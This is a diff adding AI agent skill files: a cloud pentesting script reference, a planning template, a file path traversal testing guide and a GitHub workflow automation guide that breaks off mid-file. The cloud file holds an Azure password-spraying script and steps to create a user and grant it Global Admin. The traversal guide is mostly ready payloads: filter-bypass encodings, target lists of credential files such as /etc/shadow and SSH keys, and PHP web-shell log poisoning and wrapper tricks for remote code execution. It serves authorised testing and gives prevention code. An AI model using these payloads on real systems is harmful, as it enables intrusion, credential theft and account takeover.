+- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation

skills/cloud-penetration-testing/references/advanced-cloud-scripts.md

@@ -0,0 +1,318 @@
+# Advanced Cloud Pentesting Scripts
+
+Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)
+
+## Azure Automation Runbooks
+
+### Export All Runbooks from All Subscriptions
+
+```powershell
+$subs = Get-AzSubscription
+Foreach($s in $subs){
+    $subscriptionid = $s.SubscriptionId
+    mkdir .\$subscriptionid\
+    Select-AzSubscription -Subscription $subscriptionid
+    $runbooks = @()
+    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
+    foreach ($i in $autoaccounts){
+        $runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name
+    }
+    foreach($r in $runbooks){
+        Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\
+    }
+}
+```
+
+### Export All Automation Job Outputs
+
+```powershell
+$subs = Get-AzSubscription
+$jobout = @()
+Foreach($s in $subs){
+    $subscriptionid = $s.SubscriptionId
+    Select-AzSubscription -Subscription $subscriptionid
+    $jobs = @()
+    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
+    foreach ($i in $autoaccounts){
+        $jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId
+    }
+    foreach($r in $jobs){
+        $jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
+    }
+}
+$jobout | Out-File -Encoding ascii joboutputs.txt
+```
+
+## Azure Function Apps
+
+### List All Function App Hostnames
+
+```powershell
+$functionapps = Get-AzFunctionApp
+foreach($f in $functionapps){
+    $f.EnabledHostname
+}
+```
+
+### Extract Function App Information
+
+```powershell
+$subs = Get-AzSubscription
+$allfunctioninfo = @()
+Foreach($s in $subs){
+    $subscriptionid = $s.SubscriptionId
+    Select-AzSubscription -Subscription $subscriptionid
+    $functionapps = Get-AzFunctionApp
+    foreach($f in $functionapps){
+        $allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter
+        $allfunctioninfo += $f.SiteConfig | fl
+        $allfunctioninfo += $f.ApplicationSettings | fl
+        $allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl
+    }
+}
+$allfunctioninfo
+```
+
+## Azure Device Code Login Flow
+
+### Initiate Device Code Login
+
+```powershell
+$body = @{
+    "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
+    "resource"  = "https://graph.microsoft.com"
+}
+$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
+$Headers = @{}
+$Headers["User-Agent"] = $UserAgent
+$authResponse = Invoke-RestMethod `
+    -UseBasicParsing `
+    -Method Post `
+    -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
+    -Headers $Headers `
+    -Body $body
+$authResponse
+```
+
+Navigate to https://microsoft.com/devicelogin and enter the code.
+
+### Retrieve Access Tokens
+
+```powershell
+$body = @{
+    "client_id"  = "1950a258-227b-4e31-a9cf-717495945fc2"
+    "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
+    "code"       = $authResponse.device_code
+}
+$Tokens = Invoke-RestMethod `
+    -UseBasicParsing `
+    -Method Post `
+    -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
+    -Headers $Headers `
+    -Body $body
+$Tokens
+```
+
+## Azure Managed Identity Token Retrieval
+
+```powershell
+# From Azure VM
+Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
+
+# Full instance metadata
+$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
+$instance
+```
+
+## AWS Region Iteration Scripts
+
+Create `regions.txt`:
+```
+us-east-1
+us-east-2
+us-west-1
+us-west-2
+ca-central-1
+eu-west-1
+eu-west-2
+eu-west-3
+eu-central-1
+eu-north-1
+ap-southeast-1
+ap-southeast-2
+ap-south-1
+ap-northeast-1
+ap-northeast-2
+ap-northeast-3
+sa-east-1
+```
+
+### List All EC2 Public IPs
+
+```bash
+while read r; do
+    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt
+done < regions.txt
+sort -u ec2-public-ips.txt -o ec2-public-ips.txt
+```
+
+### List All ELB DNS Addresses
+
+```bash
+while read r; do
+    aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
+    aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
+done < regions.txt
+sort -u elb-public-dns.txt -o elb-public-dns.txt
+```
+
+### List All RDS DNS Addresses
+
+```bash
+while read r; do
+    aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt
+done < regions.txt
+sort -u rds-public-dns.txt -o rds-public-dns.txt
+```
+
+### Get CloudFormation Outputs
+
+```bash
+while read r; do
+    aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt
+done < regions.txt
+```
+
+## ScoutSuite jq Parsing Queries
+
+### AWS Queries
+
+```bash
+# Find All Lambda Environment Variables
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt
+done
+
+# Find World Listable S3 Buckets
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]' >> s3-buckets-world-listable.txt
+done
+
+# Find All EC2 User Data
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt
+done
+
+# Find EC2 Security Groups That Whitelist AWS CIDRs
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings."ec2-security-group-whitelists-aws".items' >> ec2-security-group-whitelists-aws-cidrs.txt
+done
+
+# Find All EC2 EBS Volumes Unencrypted
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt
+done
+
+# Find All EC2 EBS Snapshots Unencrypted
+for d in */ ; do
+    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt
+done
+```
+
+### Azure Queries
+
+```bash
+# List All Azure App Service Host Names
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'
+
+# List All Azure SQL Servers
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,".database.windows.net","\n"'
+
+# List All Azure Virtual Machine Hostnames
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,".",.location,".cloudapp.windows.net","\n"'
+
+# List Storage Accounts
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'
+
+# List Disks Encrypted with Platform Managed Keys
+tail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = "EncryptionAtRestWithPlatformKey") | .name' > disks-with-pmks.txt
+```
+
+## Password Spraying with Az PowerShell
+
+```powershell
+$userlist = Get-Content userlist.txt
+$passlist = Get-Content passlist.txt
+$linenumber = 0
+$count = $userlist.count
+foreach($line in $userlist){
+    $user = $line
+    $pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force
+    $current = $linenumber + 1
+    Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber])
+    $linenumber++
+    $Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
+    try {
+        Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue
+        Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
+        Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
+    }
+    catch {
+        $Failure = $_.Exception
+        if ($Failure -match "ID3242") { continue }
+        else {
+            Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
+            Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
+            Add-Content valid-creds.txt $Failure.Message
+            Write-Host -ForegroundColor red $Failure.Message
+        }
+    }
+}
+```
+
+## Service Principal Attack Path
+
+```bash
+# Reset service principal credential
+az ad sp credential reset --id <app_id>
+az ad sp credential list --id <app_id>
+
+# Login as service principal
+az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions
+
+# Create new user in tenant
+az ad user create --display-name <name> --password <password> --user-principal-name <upn>
+
+# Add user to Global Admin via MS Graph
+$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}"
+az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
+```
+
+## Additional Tools Reference
+
+| Tool | URL | Purpose |
+|------|-----|---------|
+| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |
+| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |
+| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |
+| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |
+| MSOLSpray | github.com/dafthack | O365 password spraying |
+| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |
+| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |
+| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |
+| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |
+| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |
+| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |
+| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |
+| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |
+| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |
+
+## Vulnerable Training Environments
+
+| Platform | URL | Purpose |
+|----------|-----|---------|
+| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |
+| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |
+| Flaws Cloud | flaws.cloud | AWS CTF challenges |
+| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |

skills/concise-planning/SKILL.md

@@ -0,0 +1,62 @@
+---
+name: concise-planning
+description: Use when a user asks for a plan for a coding task, to generate a clear, actionable, and atomic checklist.
+---
+
+# Concise Planning
+
+## Goal
+
+Turn a user request into a **single, actionable plan** with atomic steps.
+
+## Workflow
+
+### 1. Scan Context
+
+- Read `README.md`, docs, and relevant code files.
+- Identify constraints (language, frameworks, tests).
+
+### 2. Minimal Interaction
+
+- Ask **at most 1–2 questions** and only if truly blocking.
+- Make reasonable assumptions for non-blocking unknowns.
+
+### 3. Generate Plan
+
+Use the following structure:
+
+- **Approach**: 1-3 sentences on what and why.
+- **Scope**: Bullet points for "In" and "Out".
+- **Action Items**: A list of 6-10 atomic, ordered tasks (Verb-first).
+- **Validation**: At least one item for testing.
+
+## Plan Template
+
+```markdown
+# Plan
+
+<High-level approach>
+
+## Scope
+
+- In:
+- Out:
+
+## Action Items
+
+[ ] <Step 1: Discovery>
+[ ] <Step 2: Implementation>
+[ ] <Step 3: Implementation>
+[ ] <Step 4: Validation/Testing>
+[ ] <Step 5: Rollout/Commit>
+
+## Open Questions
+
+- <Question 1 (max 3)>
+```
+
+## Checklist Guidelines
+
+- **Atomic**: Each step should be a single logical unit of work.
+- **Verb-first**: "Add...", "Refactor...", "Verify...".
+- **Concrete**: Name specific files or modules when possible.

skills/file-path-traversal/SKILL.md

@@ -0,0 +1,483 @@
+---
+name: File Path Traversal Testing
+description: This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.
+---
+
+# File Path Traversal Testing
+
+## Purpose
+
+Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.
+
+## Prerequisites
+
+### Required Tools
+- Web browser with developer tools
+- Burp Suite or OWASP ZAP
+- cURL for testing payloads
+- Wordlists for automation
+- ffuf or wfuzz for fuzzing
+
+### Required Knowledge
+- HTTP request/response structure
+- Linux and Windows filesystem layout
+- Web application architecture
+- Basic understanding of file APIs
+
+## Outputs and Deliverables
+
+1. **Vulnerability Report** - Identified traversal points and severity
+2. **Exploitation Proof** - Extracted file contents
+3. **Impact Assessment** - Accessible files and data exposure
+4. **Remediation Guidance** - Secure coding recommendations
+
+## Core Workflow
+
+### Phase 1: Understanding Path Traversal
+
+Path traversal occurs when applications use user input to construct file paths:
+
+```php
+// Vulnerable PHP code example
+$template = "blue.php";
+if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
+    $template = $_COOKIE['template'];
+}
+include("/home/user/templates/" . $template);
+```
+
+Attack principle:
+- `../` sequence moves up one directory
+- Chain multiple sequences to reach root
+- Access files outside intended directory
+
+Impact:
+- **Confidentiality** - Read sensitive files
+- **Integrity** - Write/modify files (in some cases)
+- **Availability** - Delete files (in some cases)
+- **Code Execution** - If combined with file upload or log poisoning
+
+### Phase 2: Identifying Traversal Points
+
+Map application for potential file operations:
+
+```bash
+# Parameters that often handle files
+?file=
+?path=
+?page=
+?template=
+?filename=
+?doc=
+?document=
+?folder=
+?dir=
+?include=
+?src=
+?source=
+?content=
+?view=
+?download=
+?load=
+?read=
+?retrieve=
+```
+
+Common vulnerable functionality:
+- Image loading: `/image?filename=23.jpg`
+- Template selection: `?template=blue.php`
+- File downloads: `/download?file=report.pdf`
+- Document viewers: `/view?doc=manual.pdf`
+- Include mechanisms: `?page=about`
+
+### Phase 3: Basic Exploitation Techniques
+
+#### Simple Path Traversal
+
+```bash
+# Basic Linux traversal
+../../../etc/passwd
+../../../../etc/passwd
+../../../../../etc/passwd
+../../../../../../etc/passwd
+
+# Windows traversal
+..\..\..\windows\win.ini
+..\..\..\..\windows\system32\drivers\etc\hosts
+
+# URL encoded
+..%2F..%2F..%2Fetc%2Fpasswd
+..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding
+
+# Test payloads with curl
+curl "http://target.com/image?filename=../../../etc/passwd"
+curl "http://target.com/download?file=....//....//....//etc/passwd"
+```
+
+#### Absolute Path Injection
+
+```bash
+# Direct absolute path (Linux)
+/etc/passwd
+/etc/shadow
+/etc/hosts
+/proc/self/environ
+
+# Direct absolute path (Windows)
+C:\windows\win.ini
+C:\windows\system32\drivers\etc\hosts
+C:\boot.ini
+```
+
+### Phase 4: Bypass Techniques
+
+#### Bypass Stripped Traversal Sequences
+
+```bash
+# When ../ is stripped once
+....//....//....//etc/passwd
+....\/....\/....\/etc/passwd
+
+# Nested traversal
+..././..././..././etc/passwd
+....//....//etc/passwd
+
+# Mixed encoding
+..%2f..%2f..%2fetc/passwd
+%2e%2e/%2e%2e/%2e%2e/etc/passwd
+%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
+```
+
+#### Bypass Extension Validation
+
+```bash
+# Null byte injection (older PHP versions)
+../../../etc/passwd%00.jpg
+../../../etc/passwd%00.png
+
+# Path truncation
+../../../etc/passwd...............................
+
+# Double extension
+../../../etc/passwd.jpg.php
+```
+
+#### Bypass Base Directory Validation
+
+```bash
+# When path must start with expected directory
+/var/www/images/../../../etc/passwd
+
+# Expected path followed by traversal
+images/../../../etc/passwd
+```
+
+#### Bypass Blacklist Filters
+
+```bash
+# Unicode/UTF-8 encoding
+..%c0%af..%c0%af..%c0%afetc/passwd
+..%c1%9c..%c1%9c..%c1%9cetc/passwd
+
+# Overlong UTF-8 encoding
+%c0%2e%c0%2e%c0%af
+
+# URL encoding variations
+%2e%2e/
+%2e%2e%5c
+..%5c
+..%255c
+
+# Case variations (Windows)
+....\\....\\etc\\passwd
+```
+
+### Phase 5: Linux Target Files
+
+High-value files to target:
+
+```bash
+# System files
+/etc/passwd           # User accounts
+/etc/shadow           # Password hashes (root only)
+/etc/group            # Group information
+/etc/hosts            # Host mappings
+/etc/hostname         # System hostname
+/etc/issue            # System banner
+
+# SSH files
+/root/.ssh/id_rsa           # Root private key
+/root/.ssh/authorized_keys  # Authorized keys
+/home/<user>/.ssh/id_rsa    # User private keys
+/etc/ssh/sshd_config        # SSH configuration
+
+# Web server files
+/etc/apache2/apache2.conf
+/etc/nginx/nginx.conf
+/etc/apache2/sites-enabled/000-default.conf
+/var/log/apache2/access.log
+/var/log/apache2/error.log
+/var/log/nginx/access.log
+
+# Application files
+/var/www/html/config.php
+/var/www/html/wp-config.php
+/var/www/html/.htaccess
+/var/www/html/web.config
+
+# Process information
+/proc/self/environ      # Environment variables
+/proc/self/cmdline      # Process command line
+/proc/self/fd/0         # File descriptors
+/proc/version           # Kernel version
+
+# Common application configs
+/etc/mysql/my.cnf
+/etc/postgresql/*/postgresql.conf
+/opt/lampp/etc/httpd.conf
+```
+
+### Phase 6: Windows Target Files
+
+Windows-specific targets:
+
+```bash
+# System files
+C:\windows\win.ini
+C:\windows\system.ini
+C:\boot.ini
+C:\windows\system32\drivers\etc\hosts
+C:\windows\system32\config\SAM
+C:\windows\repair\SAM
+
+# IIS files
+C:\inetpub\wwwroot\web.config
+C:\inetpub\logs\LogFiles\W3SVC1\
+
+# Configuration files
+C:\xampp\apache\conf\httpd.conf
+C:\xampp\mysql\data\mysql\user.MYD
+C:\xampp\passwords.txt
+C:\xampp\phpmyadmin\config.inc.php
+
+# User files
+C:\Users\<user>\.ssh\id_rsa
+C:\Users\<user>\Desktop\
+C:\Documents and Settings\<user>\
+```
+
+### Phase 7: Automated Testing
+
+#### Using Burp Suite
+
+```
+1. Capture request with file parameter
+2. Send to Intruder
+3. Mark file parameter value as payload position
+4. Load path traversal wordlist
+5. Start attack
+6. Filter responses by size/content for success
+```
+
+#### Using ffuf
+
+```bash
+# Basic traversal fuzzing
+ffuf -u "http://target.com/image?filename=FUZZ" \
+     -w /usr/share/wordlists/traversal.txt \
+     -mc 200
+
+# Fuzzing with encoding
+ffuf -u "http://target.com/page?file=FUZZ" \
+     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
+     -mc 200,500 -ac
+```
+
+#### Using wfuzz
+
+```bash
+# Traverse to /etc/passwd
+wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
+      --hc 404 \
+      "http://target.com/index.php?file=FUZZ"
+
+# With headers/cookies
+wfuzz -c -z file,traversal.txt \
+      -H "Cookie: session=abc123" \
+      "http://target.com/load?path=FUZZ"
+```
+
+### Phase 8: LFI to RCE Escalation
+
+#### Log Poisoning
+
+```bash
+# Inject PHP code into logs
+curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
+
+# Include Apache log file
+curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
+
+# Include auth.log (SSH)
+# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
+curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
+```
+
+#### Proc/self/environ
+
+```bash
+# Inject via User-Agent
+curl -A "<?php system('id'); ?>" \
+     "http://target.com/page?file=/proc/self/environ"
+
+# With command parameter
+curl -A "<?php system(\$_GET['c']); ?>" \
+     "http://target.com/page?file=/proc/self/environ&c=whoami"
+```
+
+#### PHP Wrapper Exploitation
+
+```bash
+# php://filter - Read source code as base64
+curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
+
+# php://input - Execute POST data as PHP
+curl -X POST -d "<?php system('id'); ?>" \
+     "http://target.com/page?file=php://input"
+
+# data:// - Execute inline PHP
+curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
+
+# expect:// - Execute system commands
+curl "http://target.com/page?file=expect://id"
+```
+
+### Phase 9: Testing Methodology
+
+Structured testing approach:
+
+```bash
+# Step 1: Identify potential parameters
+# Look for file-related functionality
+
+# Step 2: Test basic traversal
+../../../etc/passwd
+
+# Step 3: Test encoding variations
+..%2F..%2F..%2Fetc%2Fpasswd
+%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
+
+# Step 4: Test bypass techniques
+....//....//....//etc/passwd
+..;/..;/..;/etc/passwd
+
+# Step 5: Test absolute paths
+/etc/passwd
+
+# Step 6: Test with null bytes (legacy)
+../../../etc/passwd%00.jpg
+
+# Step 7: Attempt wrapper exploitation
+php://filter/convert.base64-encode/resource=index.php
+
+# Step 8: Attempt log poisoning for RCE
+```
+
+### Phase 10: Prevention Measures
+
+Secure coding practices:
+
+```php
+// PHP: Use basename() to strip paths
+$filename = basename($_GET['file']);
+$path = "/var/www/files/" . $filename;
+
+// PHP: Validate against whitelist
+$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
+if (in_array($_GET['file'], $allowed)) {
+    include("/var/www/files/" . $_GET['file']);
+}
+
+// PHP: Canonicalize and verify base path
+$base = "/var/www/files/";
+$realBase = realpath($base);
+$userPath = $base . $_GET['file'];
+$realUserPath = realpath($userPath);
+
+if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
+    include($realUserPath);
+}
+```
+
+```python
+# Python: Use os.path.realpath() and validate
+import os
+
+def safe_file_access(base_dir, filename):
+    # Resolve to absolute path
+    base = os.path.realpath(base_dir)
+    file_path = os.path.realpath(os.path.join(base, filename))
+    
+    # Verify file is within base directory
+    if file_path.startswith(base):
+        return open(file_path, 'r').read()
+    else:
+        raise Exception("Access denied")
+```
+
+## Quick Reference
+
+### Common Payloads
+
+| Payload | Target |
+|---------|--------|
+| `../../../etc/passwd` | Linux password file |
+| `..\..\..\..\windows\win.ini` | Windows INI file |
+| `....//....//....//etc/passwd` | Bypass simple filter |
+| `/etc/passwd` | Absolute path |
+| `php://filter/convert.base64-encode/resource=config.php` | Source code |
+
+### Target Files
+
+| OS | File | Purpose |
+|----|------|---------|
+| Linux | `/etc/passwd` | User accounts |
+| Linux | `/etc/shadow` | Password hashes |
+| Linux | `/proc/self/environ` | Environment vars |
+| Windows | `C:\windows\win.ini` | System config |
+| Windows | `C:\boot.ini` | Boot config |
+| Web | `wp-config.php` | WordPress DB creds |
+
+### Encoding Variants
+
+| Type | Example |
+|------|---------|
+| URL Encoding | `%2e%2e%2f` = `../` |
+| Double Encoding | `%252e%252e%252f` = `../` |
+| Unicode | `%c0%af` = `/` |
+| Null Byte | `%00` |
+
+## Constraints and Limitations
+
+### Permission Restrictions
+- Cannot read files application user cannot access
+- Shadow file requires root privileges
+- Many files have restrictive permissions
+
+### Application Restrictions
+- Extension validation may limit file types
+- Base path validation may restrict scope
+- WAF may block common payloads
+
+### Testing Considerations
+- Respect authorized scope
+- Avoid accessing genuinely sensitive data
+- Document all successful access
+
+## Troubleshooting
+
+| Problem | Solutions |
+|---------|-----------|
+| No response difference | Try encoding, blind traversal, different files |
+| Payload blocked | Use encoding variants, nested sequences, case variations |
+| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |

skills/github-workflow-automation/SKILL.md

@@ -0,0 +1,846 @@
+---
+name: github-workflow-automation
+description: "Automate GitHub workflows with AI assistance. Includes PR reviews, issue triage, CI/CD integration, and Git operations. Use when automating GitHub workflows, setting up PR review automation, creating GitHub Actions, or triaging issues."
+---
+
+# 🔧 GitHub Workflow Automation
+
+> Patterns for automating GitHub workflows with AI assistance, inspired by [Gemini CLI](https://github.com/google-gemini/gemini-cli) and modern DevOps practices.
+
+## When to Use This Skill
+
+Use this skill when:
+
+- Automating PR reviews with AI
+- Setting up issue triage automation
+- Creating GitHub Actions workflows
+- Integrating AI into CI/CD pipelines
+- Automating Git operations (rebases, cherry-picks)
+
+---
+
+## 1. Automated PR Review
+
+### 1.1 PR Review Action
+
+```yaml
+# .github/workflows/ai-review.yml
+name: AI Code Review
+
+on:
+  pull_request:
+    types: [opened, synchronize]
+
+jobs:
+  review:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      pull-requests: write
+
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Get changed files
+        id: changed
+        run: |
+          files=$(git diff --name-only origin/${{ github.base_ref }}...HEAD)
+          echo "files<<EOF" >> $GITHUB_OUTPUT
+          echo "$files" >> $GITHUB_OUTPUT
+          echo "EOF" >> $GITHUB_OUTPUT
+
+      - name: Get diff
+        id: diff
+        run: |
+          diff=$(git diff origin/${{ github.base_ref }}...HEAD)
+          echo "diff<<EOF" >> $GITHUB_OUTPUT
+          echo "$diff" >> $GITHUB_OUTPUT
+          echo "EOF" >> $GITHUB_OUTPUT
+
+      - name: AI Review
+        uses: actions/github-script@v7
+        with:
+          script: |
+            const { Anthropic } = require('@anthropic-ai/sdk');
+            const client = new Anthropic({ apiKey: process.env.ANTHROPIC_API_KEY });
+
+            const response = await client.messages.create({
+              model: "claude-3-sonnet-20240229",
+              max_tokens: 4096,
+              messages: [{
+                role: "user",
+                content: `Review this PR diff and provide feedback:
+                
+                Changed files: ${{ steps.changed.outputs.files }}
+                
+                Diff:
+                ${{ steps.diff.outputs.diff }}
+                
+                Provide:
+                1. Summary of changes
+                2. Potential issues or bugs
+                3. Suggestions for improvement
+                4. Security concerns if any
+                
+                Format as GitHub markdown.`
+              }]
+            });
+
+            await github.rest.pulls.createReview({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              pull_number: context.issue.number,
+              body: response.content[0].text,
+              event: 'COMMENT'
+            });
+        env:
+          ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
+```
+
+### 1.2 Review Comment Patterns
+
+````markdown
+# AI Review Structure
+
+## 📋 Summary
+
+Brief description of what this PR does.
+
+## ✅ What looks good
+
+- Well-structured code
+- Good test coverage
+- Clear naming conventions
+
+## ⚠️ Potential Issues
+
+1. **Line 42**: Possible null pointer exception
+   ```javascript
+   // Current
+   user.profile.name;
+   // Suggested
+   user?.profile?.name ?? "Unknown";
+   ```
+````
+
+2. **Line 78**: Consider error handling
+   ```javascript
+   // Add try-catch or .catch()
+   ```
+
+## 💡 Suggestions
+
+- Consider extracting the validation logic into a separate function
+- Add JSDoc comments for public methods
+
+## 🔒 Security Notes
+
+- No sensitive data exposure detected
+- API key handling looks correct
+
+````
+
+### 1.3 Focused Reviews
+
+```yaml
+# Review only specific file types
+- name: Filter code files
+  run: |
+    files=$(git diff --name-only origin/${{ github.base_ref }}...HEAD | \
+            grep -E '\.(ts|tsx|js|jsx|py|go)$' || true)
+    echo "code_files=$files" >> $GITHUB_OUTPUT
+
+# Review with context
+- name: AI Review with context
+  run: |
+    # Include relevant context files
+    context=""
+    for file in ${{ steps.changed.outputs.files }}; do
+      if [[ -f "$file" ]]; then
+        context+="=== $file ===\n$(cat $file)\n\n"
+      fi
+    done
+
+    # Send to AI with full file context
+````
+
+---
+
+## 2. Issue Triage Automation
+
+### 2.1 Auto-label Issues
+
+```yaml
+# .github/workflows/issue-triage.yml
+name: Issue Triage
+
+on:
+  issues:
+    types: [opened]
+
+jobs:
+  triage:
+    runs-on: ubuntu-latest
+    permissions:
+      issues: write
+
+    steps:
+      - name: Analyze issue
+        uses: actions/github-script@v7
+        with:
+          script: |
+            const issue = context.payload.issue;
+
+            // Call AI to analyze
+            const analysis = await analyzeIssue(issue.title, issue.body);
+
+            // Apply labels
+            const labels = [];
+
+            if (analysis.type === 'bug') {
+              labels.push('bug');
+              if (analysis.severity === 'high') labels.push('priority: high');
+            } else if (analysis.type === 'feature') {
+              labels.push('enhancement');
+            } else if (analysis.type === 'question') {
+              labels.push('question');
+            }
+
+            if (analysis.area) {
+              labels.push(`area: ${analysis.area}`);
+            }
+
+            await github.rest.issues.addLabels({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              issue_number: issue.number,
+              labels: labels
+            });
+
+            // Add initial response
+            if (analysis.type === 'bug' && !analysis.hasReproSteps) {
+              await github.rest.issues.createComment({
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                issue_number: issue.number,
+                body: `Thanks for reporting this issue!
+
